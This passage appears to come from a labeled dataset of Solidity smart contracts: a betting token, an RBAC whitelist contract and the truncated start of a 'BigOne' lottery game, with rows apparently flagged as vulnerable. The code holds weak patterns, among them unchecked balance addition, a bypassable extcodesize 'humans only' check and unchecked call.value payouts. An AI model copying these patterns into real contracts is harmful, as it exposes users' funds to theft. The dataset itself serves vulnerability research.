Transfer(selfAddress, 0x1ab13D2C1AC4303737981Ce8B8bD5116C84c744d, 5000000000000);
balances[0x06908Df389Cf2589375b6908D0b1c8FcC34721B5] = 2500000000000;
addUser(0x06908Df389Cf2589375b6908D0b1c8FcC34721B5);
Transfer(selfAddress, 0x06908Df389Cf2589375b6908D0b1c8FcC34721B5, 2500000000000);
balances[0xEdBd4c6757DC425321584a91bDB355Ce65c42b13] = 2500000000000;
addUser(0xEdBd4c6757DC425321584a91bDB355Ce65c42b13);
Transfer(selfAddress, 0xEdBd4c6757DC425321584a91bDB355Ce65c42b13, 2500000000000);
balances[0x4309Fb4B31aA667673d69db1072E6dcD50Fd8858] = 2500000000000;
addUser(0x4309Fb4B31aA667673d69db1072E6dcD50Fd8858);
Transfer(selfAddress, 0x4309Fb4B31aA667673d69db1072E6dcD50Fd8858, 2500000000000);
relativeDateSave = now + 180 days;
pricePerEther = 33209;
balances[selfAddress] = 250000000000000;
}
function name() external constant returns (string _name) {
return name;
}
function symbol() external constant returns (string _symbol) {
return symbol;
}
function decimals() external constant returns (uint8 _decimals) {
return decimals;
}
function totalSupply() external constant returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) external constant returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) external constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transferFrom(address _from, address _to, uint256 _value) external requireThaw userNotPlaying(_to) {
require(cooldown[_from][_to] <= now);
var _allowance = allowed[_from][_to];
if (_from == selfAddress) {
monthlyLimit[_to] = safeSub(monthlyLimit[_to], _value);
}
balances[_to] = balances[_to]+_value;
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][_to] = safeSub(_allowance, _value);
addUser(_to);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) external {
allowed[msg.sender][_spender] = _value;
cooldown[msg.sender][_spender] = now + 30 minutes;
Approval(msg.sender, _spender, _value);
}
function approve(address _spender, uint256 _value, uint256 _cooldown) external {
allowed[msg.sender][_spender] = _value;
cooldown[msg.sender][_spender] = now + _cooldown;
Approval(msg.sender, _spender, _value);
}
function transfer(address _to, uint256 _value) external isRunning requireThaw returns (bool success){
bytes memory empty;
if (_to == selfAddress) {
return transferToSelf(_value, empty);
} else if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _address) internal returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_address)
}
return length > 0;
}
function transfer(address _to, uint256 _value, bytes _data) external isRunning requireThaw returns (bool success){
if (_to == selfAddress) {
return transferToSelf(_value, _data);
} else if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transferToAddress(address _to, uint256 _value, bytes _data) internal returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = balances[_to]+_value;
addUser(_to);
Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint256 _value, bytes _data) internal returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = balances[_to]+_value;
WeBetCrypto rec = WeBetCrypto(_to);
rec.tokenFallback(msg.sender, _value, _data);
addUser(_to);
Transfer(msg.sender, _to, _value);
return true;
}
function transferToSelf(uint256 _value, bytes _data) internal returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[selfAddress] = balances[selfAddress]+_value;
Transfer(msg.sender, selfAddress, _value);
allowed[selfAddress][msg.sender] = _value + allowed[selfAddress][msg.sender];
Approval(selfAddress, msg.sender, allowed[selfAddress][msg.sender]);
return true;
}
function tokenFallback(address _sender, uint256 _value, bytes _data) {}
function checkCooldown(address _allower, address _allowee) external constant returns (uint256 remaining) {
if (cooldown[_allower][_allowee] > now) {
return (cooldown[_allower][_allowee] - now);
} else {
return 0;
}
}
function checkMonthlyLimit(address _owner) external constant returns (uint256 remaining) {
return monthlyLimit[_owner];
}
function claimTokens(address _token) isAdmin external {
require(_token != selfAddress);
WeBetCrypto token = WeBetCrypto(_token);
uint balance = token.balanceOf(selfAddress);
token.transfer(admin, balance);
}
function assetFreeze() internal {
isFrozen = true;
}
function assetThaw() internal {
isFrozen = false;
}
function emergencyFreeze() isAdmin external {
isFrozen = true;
}
function emergencyThaw() isAdmin external {
isFrozen = false;
}
function emergencySplitToggle() isAdmin external {
splitInService = !splitInService;
}
function setPriceOfEther(uint256 newPrice, string TLSNotaryProof) external isAdmin {
pricePerEther = newPrice;
CurrentTLSNProof(selfAddress, TLSNotaryProof);
}
function getPricePerToken() public constant returns (uint256 price) {
if (balances[selfAddress] > 200000000000000) {
return 50;
} else if (balances[selfAddress] > 150000000000000) {
return 200;
} else if (balances[selfAddress] > 100000000000000) {
return 400;
} else {
return 550;
}
}
function calculateTokenAmount(uint256 _value) internal returns (uint256 tokenAmount) {
tokenAmount = ((_value*(10**7)/1 ether)*pricePerEther)/getPricePerToken();
assert(tokenAmount <= 5000000000000);
}
function addUser(address _user) internal {
if (!isAdded[_user]) {
users.push(_user);
monthlyLimit[_user] = 5000000000000;
isAdded[_user] = true;
}
}
function splitProfits() external {
require(splitInService);
uint i;
if (!isFrozen) {
require(now >= relativeDateSave);
assetFreeze();
require(balances[selfAddress] > 30000000000000);
relativeDateSave = now + 30 days;
currentProfits = ((balances[selfAddress]-30000000000000)/10)*7;
amountInCirculation = safeSub(300000000000000, balances[selfAddress]);
currentIteration = 0;
actualProfitSplit = 0;
} else {
for (i = currentIteration; i < users.length; i++) {
monthlyLimit[users[i]] = 5000000000000;
if (msg.gas < 240000) {
currentIteration = i;
break;
}
if (allowed[selfAddress][users[i]] == 0) {
checkSplitEnd(i);
continue;
} else if ((balances[users[i]]/allowed[selfAddress][users[i]]) < 19) {
checkSplitEnd(i);
continue;
}
actualProfitSplit += (balances[users[i]]*currentProfits)/amountInCirculation;
balances[users[i]] += (balances[users[i]]*currentProfits)/amountInCirculation;
checkSplitEnd(i);
Transfer(selfAddress, users[i], (balances[users[i]]/amountInCirculation)*currentProfits);
}
}
}
function checkSplitEnd(uint256 i) internal {
if (i == users.length-1) {
assetThaw();
balances[0x166Cb48973C2447dafFA8EFd3526da18076088de] = balances[0x166Cb48973C2447dafFA8EFd3526da18076088de] + currentProfits/22;
balances[selfAddress] = balances[selfAddress] - actualProfitSplit - currentProfits/22;
}
}
function ICOSplit() external isAdmin oneTime {
uint i;
if (!isFrozen) {
require((relativeDateSave - now) >= (relativeDateSave - 150 days));
assetFreeze();
require(balances[selfAddress] > 50000000000000);
currentProfits = ((balances[selfAddress] - 50000000000000) / 10) * 7;
amountInCirculation = safeSub(300000000000000, balances[selfAddress]);
currentIteration = 0;
actualProfitSplit = 0;
} else {
for (i = currentIteration; i < users.length; i++) {
if (msg.gas < 240000) {
currentIteration = i;
break;
}
actualProfitSplit += (balances[users[i]]*currentProfits)/amountInCirculation;
balances[users[i]] += (balances[users[i]]*currentProfits)/amountInCirculation;
if (i == users.length-1) {
assetThaw();
balances[selfAddress] = balances[selfAddress] - actualProfitSplit;
hasICORun = true;
}
Transfer(selfAddress, users[i], (balances[users[i]]/amountInCirculation)*currentProfits);
}
}
}
function assureDAppIsReady() external {
if (msg.sender == 0x166Cb48973C2447dafFA8EFd3526da18076088de) {
devApprovals[0] = true;
} else if (msg.sender == 0x1ab13D2C1AC4303737981Ce8B8bD5116C84c744d) {
devApprovals[1] = true;
} else if (msg.sender == 0xEC5a48d6F11F8a981aa3D913DA0A69194280cDBc) {
devApprovals[2] = true;
} else if (msg.sender == 0xE59CbD028f71447B804F31Cf0fC41F0e5E13f4bF) {
devApprovals[3] = true;
} else {
revert();
}
}
function isDAppReady() external isAdmin {
uint8 numOfApprovals = 0;
for (uint i = 0; i < devApprovals.length; i++) {
if (devApprovals[i]) {
numOfApprovals++;
}
}
DAppReady = (numOfApprovals>=2);
}
function alterBankBalance(address _toAlter, uint256 _amount, bool sign) external DAppOnline isAdmin {
if (sign && (_amount+allowed[selfAddress][_toAlter]) > allowed[selfAddress][_toAlter]) {
allowed[selfAddress][_toAlter] = _amount + allowed[selfAddress][_toAlter];
Approval(selfAddress, _toAlter, allowed[selfAddress][_toAlter]);
} else {
allowed[selfAddress][_toAlter] = safeSub(allowed[selfAddress][_toAlter], _amount);
Approval(selfAddress, _toAlter, allowed[selfAddress][_toAlter]);
}
}
function loginUser(address _user) external DAppOnline isAdmin {
freezeUser[_user] = true;
}
function logoutUser(address _user) external DAppOnline isAdmin {
freezeUser[_user] = false;
}
function() payable {
revert();
}
function buyTokensForAddress(address _recipient) external payable {
totalFunds = totalFunds + msg.value;
require(msg.value > 0);
require(_recipient != admin);
require((totalFunds/1 ether)*pricePerEther < 6000000000);
addUser(_recipient);
uint tokenAmount = calculateTokenAmount(msg.value);
balances[selfAddress] = balances[selfAddress] - tokenAmount;
assert(balances[selfAddress] >= 50000000000000);
balances[_recipient] = balances[_recipient] + tokenAmount;
Transfer(selfAddress, _recipient, tokenAmount);
address etherTransfer = 0x166Cb48973C2447dafFA8EFd3526da18076088de;
etherTransfer.transfer(msg.value);
}
function buyTokensForSelf() external payable {
totalFunds = totalFunds + msg.value;
address etherTransfer = 0x166Cb48973C2447dafFA8EFd3526da18076088de;
require(msg.value > 0);
require(msg.sender != etherTransfer);
require((totalFunds/1 ether)*pricePerEther < 6000000000);
addUser(msg.sender);
uint tokenAmount = calculateTokenAmount(msg.value);
balances[selfAddress] = balances[selfAddress] - tokenAmount;
assert(balances[selfAddress] >= 50000000000000);
balances[msg.sender] = balances[msg.sender] + tokenAmount;
Transfer(selfAddress, msg.sender, tokenAmount);
etherTransfer.transfer(msg.value);
}
} | 1 | 3,820 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Contributions is RBAC, Ownable {
using SafeMath for uint256;
uint256 private constant TIER_DELETED = 999;
string public constant ROLE_MINTER = "minter";
string public constant ROLE_OPERATOR = "operator";
uint256 public tierLimit;
modifier onlyMinter () {
checkRole(msg.sender, ROLE_MINTER);
_;
}
modifier onlyOperator () {
checkRole(msg.sender, ROLE_OPERATOR);
_;
}
uint256 public totalSoldTokens;
mapping(address => uint256) public tokenBalances;
mapping(address => uint256) public ethContributions;
mapping(address => uint256) private _whitelistTier;
address[] public tokenAddresses;
address[] public ethAddresses;
address[] private whitelistAddresses;
constructor(uint256 _tierLimit) public {
addRole(owner, ROLE_OPERATOR);
tierLimit = _tierLimit;
}
function addMinter(address minter) external onlyOwner {
addRole(minter, ROLE_MINTER);
}
function removeMinter(address minter) external onlyOwner {
removeRole(minter, ROLE_MINTER);
}
function addOperator(address _operator) external onlyOwner {
addRole(_operator, ROLE_OPERATOR);
}
function removeOperator(address _operator) external onlyOwner {
removeRole(_operator, ROLE_OPERATOR);
}
function addTokenBalance(
address _address,
uint256 _tokenAmount
)
external
onlyMinter
{
if (tokenBalances[_address] == 0) {
tokenAddresses.push(_address);
}
tokenBalances[_address] = tokenBalances[_address].add(_tokenAmount);
totalSoldTokens = totalSoldTokens.add(_tokenAmount);
}
function addEthContribution(
address _address,
uint256 _weiAmount
)
external
onlyMinter
{
if (ethContributions[_address] == 0) {
ethAddresses.push(_address);
}
ethContributions[_address] = ethContributions[_address].add(_weiAmount);
}
function setTierLimit(uint256 _newTierLimit) external onlyOperator {
require(_newTierLimit > 0, "Tier must be greater than zero");
tierLimit = _newTierLimit;
}
function addToWhitelist(
address _investor,
uint256 _tier
)
external
onlyOperator
{
require(_tier == 1 || _tier == 2, "Only two tier level available");
if (_whitelistTier[_investor] == 0) {
whitelistAddresses.push(_investor);
}
_whitelistTier[_investor] = _tier;
}
function removeFromWhitelist(address _investor) external onlyOperator {
_whitelistTier[_investor] = TIER_DELETED;
}
function whitelistTier(address _investor) external view returns (uint256) {
return _whitelistTier[_investor] <= 2 ? _whitelistTier[_investor] : 0;
}
function getWhitelistedAddresses(
uint256 _tier
)
external
view
returns (address[])
{
address[] memory tmp = new address[](whitelistAddresses.length);
uint y = 0;
if (_tier == 1 || _tier == 2) {
uint len = whitelistAddresses.length;
for (uint i = 0; i < len; i++) {
if (_whitelistTier[whitelistAddresses[i]] == _tier) {
tmp[y] = whitelistAddresses[i];
y++;
}
}
}
address[] memory toReturn = new address[](y);
for (uint k = 0; k < y; k++) {
toReturn[k] = tmp[k];
}
return toReturn;
}
function isAllowedPurchase(
address _beneficiary,
uint256 _weiAmount
)
external
view
returns (bool)
{
if (_whitelistTier[_beneficiary] == 2) {
return true;
} else if (_whitelistTier[_beneficiary] == 1 && ethContributions[_beneficiary].add(_weiAmount) <= tierLimit) {
return true;
}
return false;
}
function getTokenAddressesLength() external view returns (uint) {
return tokenAddresses.length;
}
function getEthAddressesLength() external view returns (uint) {
return ethAddresses.length;
}
} | 1 | 3,306 |
pragma solidity ^0.4.24;
contract BigOneEvents {
event onNewPlayer
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keyCount,
uint256 newPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onEndRound
(
uint256 roundID,
uint256 roundTypeID,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon
);
}
contract BigOne is BigOneEvents {
using SafeMath for *;
using NameFilter for string;
UserDataManagerInterface constant private UserDataManager = UserDataManagerInterface(0x2E1c02A6Bc5fC77bfc740A505000846545193Beb);
address private admin = msg.sender;
address private shareCom = 0x2F0839f736197117796967452310F025a330DA45;
address private groupCut = 0x9ebfB7a9105124204E4E18BE73B2B1979aDbc713;
string constant public name = "bigOne";
string constant public symbol = "bigOne";
uint256 public rID_;
uint256 public rTypeID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => BigOneData.Player) public plyr_;
mapping (uint256 => mapping (uint256 => BigOneData.PlayerRoundData)) public plyrRnds_;
mapping (uint256 => BigOneData.RoundSetting) public rSettingXTypeID_;
mapping (uint256 => BigOneData.Round) public round_;
mapping (uint256 => uint256) public currentRoundxType_;
mapping (uint256 => address[]) private winners_;
mapping (uint256 => uint256[]) private winNumbers_;
constructor() public {
rID_ = 0;
rTypeID_ = 0;
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyDevs() {
require(admin == msg.sender, "msg sender is not a dev");
_;
}
modifier isWithinLimits(uint256 _eth,uint256 _typeID) {
require(rSettingXTypeID_[_typeID].isValue, "invaild mode id");
require(_eth >= rSettingXTypeID_[_typeID].perShare, "less than min allow");
require(_eth <= rSettingXTypeID_[_typeID].limit, "more than max allow");
_;
}
modifier modeCheck(uint256 _typeID) {
require(rSettingXTypeID_[_typeID].isValue, "invaild mode id");
_;
}
bool public activated_ = false;
function activate()
onlyDevs()
public
{
require(activated_ == false, "BigOne already activated");
require(rTypeID_ > 0, "No round mode setup");
activated_ = true;
for(uint256 i = 0; i < rTypeID_; i++) {
rID_++;
round_[rID_].start = now;
round_[rID_].typeID = i + 1;
round_[rID_].count = 1;
round_[rID_].pot = 0;
currentRoundxType_[i + 1] = rID_;
}
}
function addRoundMode(uint256 _limit, uint256 _perShare, uint256 _shareMax)
onlyDevs()
public
{
require(activated_ == false, "BigOne already started");
rTypeID_++;
rSettingXTypeID_[rTypeID_].limit = _limit;
rSettingXTypeID_[rTypeID_].perShare = _perShare;
rSettingXTypeID_[rTypeID_].shareMax = _shareMax;
rSettingXTypeID_[rTypeID_].isValue = true;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value,1)
public
payable
{
determinePID();
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff,1);
}
function buyXid(uint256 _affCode, uint256 _mode)
isActivated()
isHuman()
isWithinLimits(msg.value,_mode)
public
payable
{
determinePID();
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _mode);
}
function buyXaddr(address _affCode, uint256 _mode)
isActivated()
isHuman()
isWithinLimits(msg.value,_mode)
public
payable
{
determinePID();
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _mode);
}
function buyXname(bytes32 _affCode, uint256 _mode)
isActivated()
isHuman()
isWithinLimits(msg.value,_mode)
public
payable
{
determinePID();
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _mode);
}
function reLoadXid(uint256 _affCode, uint256 _eth, uint256 _mode)
isActivated()
isHuman()
isWithinLimits(_eth,_mode)
public
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _mode);
}
function reLoadXaddr(address _affCode, uint256 _eth, uint256 _mode)
isActivated()
isHuman()
isWithinLimits(_eth,_mode)
public
{
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _mode);
}
function reLoadXname(bytes32 _affCode, uint256 _eth, uint256 _mode)
isActivated()
isHuman()
isWithinLimits(_eth,_mode)
public
{
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth,_mode);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
uint256 _withdrawFee;
_eth = withdrawEarnings(_pID);
if (_eth > 0)
{
_withdrawFee = _eth / 10;
uint256 _p1 = _withdrawFee / 2;
uint256 _p2 = _withdrawFee / 2;
shareCom.transfer(_p1);
admin.transfer(_p2);
plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee));
}
emit BigOneEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = UserDataManager.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit BigOneEvents.onNewPlayer(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = UserDataManager.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit BigOneEvents.onNewPlayer(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = UserDataManager.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit BigOneEvents.onNewPlayer(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function iWantXKeys(uint256 _keys,uint256 _mode)
modeCheck(_mode)
public
view
returns(uint256)
{
return _keys.mul(rSettingXTypeID_[_mode].perShare);
}
function getWinners(uint256 _mode)
modeCheck(_mode)
public
view
returns(address[])
{
return winners_[_mode];
}
function getWinNumbers(uint256 _mode)
modeCheck(_mode)
public
view
returns(uint256[])
{
return winNumbers_[_mode];
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256,uint256,uint256)
{
return (plyr_[_pID].win,plyr_[_pID].gen,plyr_[_pID].aff);
}
function getCurrentRoundInfo(uint256 _mode)
modeCheck(_mode)
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32)
{
uint256 _rID = currentRoundxType_[_mode];
return
(
_rID,
round_[_rID].count,
round_[_rID].keyCount,
round_[_rID].start,
round_[_rID].end,
round_[_rID].eth,
round_[_rID].pot,
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name
);
}
function getPlayerInfoByAddress(address _addr,uint256 _mode)
modeCheck(_mode)
public
view
returns(uint256, bytes32, uint256[], uint256, uint256, uint256, uint256)
{
uint256 _rID = currentRoundxType_[_mode];
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
getPlayerKeys(_pID,_rID),
plyr_[_pID].win,
plyr_[_pID].gen,
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function getPlayerKeys(uint256 _pID, uint256 _rID)
private
view
returns(uint256[])
{
uint256[] memory _keys = new uint256[](plyrRnds_[_pID][_rID].keyCount);
uint256 _keyIndex = 0;
for(uint256 i = 0;i < plyrRnds_[_pID][_rID].purchaseIDs.length;i++) {
uint256 _pIndex = plyrRnds_[_pID][_rID].purchaseIDs[i];
BigOneData.PurchaseRecord memory _pr = round_[_rID].purchases[_pIndex];
if(_pr.plyr == _pID) {
for(uint256 j = _pr.start; j <= _pr.end; j++) {
_keys[_keyIndex] = j;
_keyIndex++;
}
}
}
return _keys;
}
function getPlayerAff(uint256 _pID)
public
view
returns (uint256,uint256,uint256)
{
uint256 _affID = plyr_[_pID].laffID;
if (_affID != 0)
{
uint256 _secondLaff = plyr_[_affID].laffID;
if(_secondLaff != 0)
{
uint256 _thirdAff = plyr_[_secondLaff].laffID;
}
}
return (_affID,_secondLaff,_thirdAff);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _mode)
private
{
uint256 _rID = currentRoundxType_[_mode];
if (round_[_rID].pot < rSettingXTypeID_[_mode].limit && round_[_rID].plyr == 0)
{
core(_rID, _pID, msg.value, _affID,_mode);
} else {
if (round_[_rID].pot >= rSettingXTypeID_[_mode].limit && round_[_rID].plyr == 0 && round_[_rID].ended == false)
{
round_[_rID].ended = true;
endRound(_mode);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, uint _mode)
private
{
uint256 _rID = currentRoundxType_[_mode];
if (round_[_rID].pot < rSettingXTypeID_[_mode].limit && round_[_rID].plyr == 0)
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID,_mode);
} else if (round_[_rID].pot >= rSettingXTypeID_[_mode].limit && round_[_rID].plyr == 0 && round_[_rID].ended == false) {
round_[_rID].ended = true;
endRound(_mode);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _mode)
private
{
if (plyrRnds_[_pID][_rID].keyCount == 0)
{
managePlayer(_pID,_rID);
}
if (round_[_rID].keyCount < rSettingXTypeID_[_mode].shareMax)
{
uint256 _ethAdd = ((rSettingXTypeID_[_mode].shareMax).sub(round_[_rID].keyCount)).mul(rSettingXTypeID_[_mode].perShare);
if(_eth > _ethAdd) {
plyr_[_pID].gen = plyr_[_pID].gen.add(_eth.sub(_ethAdd));
} else {
_ethAdd = _eth;
}
uint256 _keyAdd = _ethAdd.div(rSettingXTypeID_[_mode].perShare);
uint256 _ketEnd = (round_[_rID].keyCount).add(_keyAdd);
BigOneData.PurchaseRecord memory _pr;
_pr.plyr = _pID;
_pr.start = round_[_rID].keyCount;
_pr.end = _ketEnd - 1;
round_[_rID].purchases.push(_pr);
plyrRnds_[_pID][_rID].purchaseIDs.push(round_[_rID].purchases.length - 1);
plyrRnds_[_pID][_rID].keyCount += _keyAdd;
plyrRnds_[_pID][_rID].eth = _ethAdd.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keyCount = _ketEnd;
round_[_rID].eth = _ethAdd.add(round_[_rID].eth);
round_[_rID].pot = (round_[_rID].pot).add((_ethAdd.mul(80)).div(100));
distributeExternal(_rID, _pID, _ethAdd, _affID);
if (round_[_rID].pot >= rSettingXTypeID_[_mode].limit && round_[_rID].plyr == 0 && round_[_rID].ended == false)
{
round_[_rID].ended = true;
endRound(_mode);
}
emit BigOneEvents.onEndTx
(
plyr_[_pID].name,
msg.sender,
_eth,
round_[_rID].keyCount,
round_[_rID].pot
);
} else {
plyr_[_pID].gen = plyr_[_pID].gen.add(_eth);
}
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(UserDataManager), "your not userManager contract");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
}
function determinePID()
private
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = UserDataManager.getPlayerID(msg.sender);
bytes32 _name = UserDataManager.getPlayerName(_pID);
uint256 _laff = UserDataManager.getPlayerLaff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
}
if (_laff != 0 && _laff != _pID)
{
plyr_[_pID].laff = _laff;
}
}
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function managePlayer(uint256 _pID,uint256 _rID)
private
{
plyr_[_pID].lrnd = _rID;
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
{
uint256 _com = _eth / 50;
uint256 _p3d;
if (address(admin).call.value((_com / 2))() == false)
{
_p3d = _com / 2;
_com = _com / 2;
}
if (address(shareCom).call.value((_com / 2))() == false)
{
_p3d = _p3d.add(_com / 2);
_com = _com.sub(_com / 2);
